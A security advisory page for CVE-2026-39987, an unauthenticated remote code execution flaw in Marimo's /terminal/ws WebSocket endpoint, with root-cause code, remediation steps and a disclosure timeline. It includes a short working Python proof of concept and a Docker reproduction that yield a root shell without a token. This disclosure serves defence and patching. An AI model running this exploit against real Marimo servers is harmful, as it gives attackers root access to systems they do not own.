CVE-2026-39987: Marimo Remote Code Execution Vulnerability

Published Apr 8, 2026
·
Updated

Summary

Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.

Unlike other WebSocket endpoints (e.g., /ws) that correctly call validateauth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.

Affected Versions

Marimo <= 0.20.4

Vulnerability Details

Root Cause: Terminal WebSocket Missing Authentication

marimo/server/api/endpoints/terminal.py lines 340-356:

python @router.websocket("/ws") async def websocketendpoint(websocket: WebSocket) -> None: appstate = AppState(websocket) if appstate.mode != SessionMode.EDIT: await websocket.close(...) return if not supportsterminal(): await websocket.close(...) return # No authentication check! await websocket.accept() # Accepts connection directly # ... childpid, fd = pty.fork() # Creates PTY shell

Compare with the correctly implemented /ws endpoint (wsendpoint.py lines 67-82):

python @router.websocket("/ws") async def websocketendpoint(websocket: WebSocket) -> None: appstate = AppState(websocket) validator = WebSocketConnectionValidator(websocket, appstate) if not await validator.validateauth(): # Correct auth check return

Authentication Middleware Limitation

Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validateauth() calls.

The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validateauth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.

Attack Chain

1. WebSocket connect to ws://TARGET:2718/terminal/ws (no auth needed) 2. websocket.accept() accepts the connection directly 3. pty.fork() creates a PTY child process 4. Full interactive shell with arbitrary command execution 5. Commands run as root in default Docker deployments

A single WebSocket connection yields a complete interactive shell.

Proof of Concept

python import websocket import time

Connect without any authentication ws = websocket.WebSocket() ws.connect('ws://TARGET:2718/terminal/ws') time.sleep(2)

Drain initial output try: while True: ws.settimeout(1) ws.recv() except: pass

Execute arbitrary command ws.settimeout(10) ws.send('id\n') time.sleep(2) print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root) ws.close()

Reproduction Environment

dockerfile FROM python:3.12-slim RUN pip install --no-cache-dir marimo==0.20.4 RUN mkdir -p /app/notebooks RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py WORKDIR /app/notebooks EXPOSE 2718 CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]

Reproduction Result

With auth enabled (server generates random accesstoken), the exploit bypasses authentication entirely:

$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname" [+] No auth needed! Terminal WebSocket connected [+] Output: uid=0(root) gid=0(root) groups=0(root) root ddfc452129c3

Suggested Remediation

1. Add authentication validation to /terminal/ws endpoint, consistent with /ws using WebSocketConnectionValidator.validateauth() 2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints 3. Terminal functionality should only be available when explicitly enabled, not on by default

Impact

An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.

Other sources

Marimo contains an pre-authorization remote code execution vulnerability, allowing an unauthenticated attacked to shell access and execute arbitrary system commands.

CISA

marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validateauth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.

NVD

Affected Software

3 affected componentsFixes available
pip/marimo<0.23.0
0.23.0
Coreweave Marimo Python<0.23.0
Marimo Marimo

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/marimo to a version that resolves this vulnerability.

    Fixed in 0.23.0
  2. Upgrade

    Upgrade marimo to a version that resolves this vulnerability.

    Fixed in 0.23.0
  3. Configuration

    Add authentication validation to the `/terminal/ws` endpoint so unauthenticated WebSocket connections are rejected, consistent with the `/ws` endpoint using `WebSocketConnectionValidator.validate_auth()` (i.e., ensure `/terminal/ws` performs `if not await validator.validate_auth(): ...` rather than only checking `SessionMode.EDIT` / `supports_terminal()`).

    Marimo terminal WebSocket endpoint (/terminal/ws) Authentication validation = Add validate_auth() / requires authorization
  4. Compensating control

    If you cannot apply the fix, discontinue use of the product or follow applicable cloud-service guidance (BOD 22-01) and apply mitigations per vendor instructions, since unauthenticated attackers can obtain a full interactive root shell via a single WebSocket connection to `ws://TARGET:2718/terminal/ws`.

Event History

Apr 8, 2026
Advisory Published
via GitHub·09:50 PM
Data Sourced
via GitHub·09:50 PM
DescriptionWeaknessAffected Software
Apr 9, 2026
CVE Published
via MITRE·05:16 PM
Data Sourced
via MITRE·05:16 PM
DescriptionWeakness
Data Sourced
via NVD·06:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Apr 12, 2026
News Published
via BleepingComputer·02:20 PM
News Published
via BleepingComputer·02:31 PM
Apr 16, 2026
News Published
via BleepingComputer·04:58 PM
Apr 23, 2026
Known Exploited
via CISA·12:00 AM
Data Sourced
via CISA·12:00 AM
RemedyDescriptionAffected Software
Sep 2, 2026
Exploit Published
via ExploitDB·12:00 AM

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203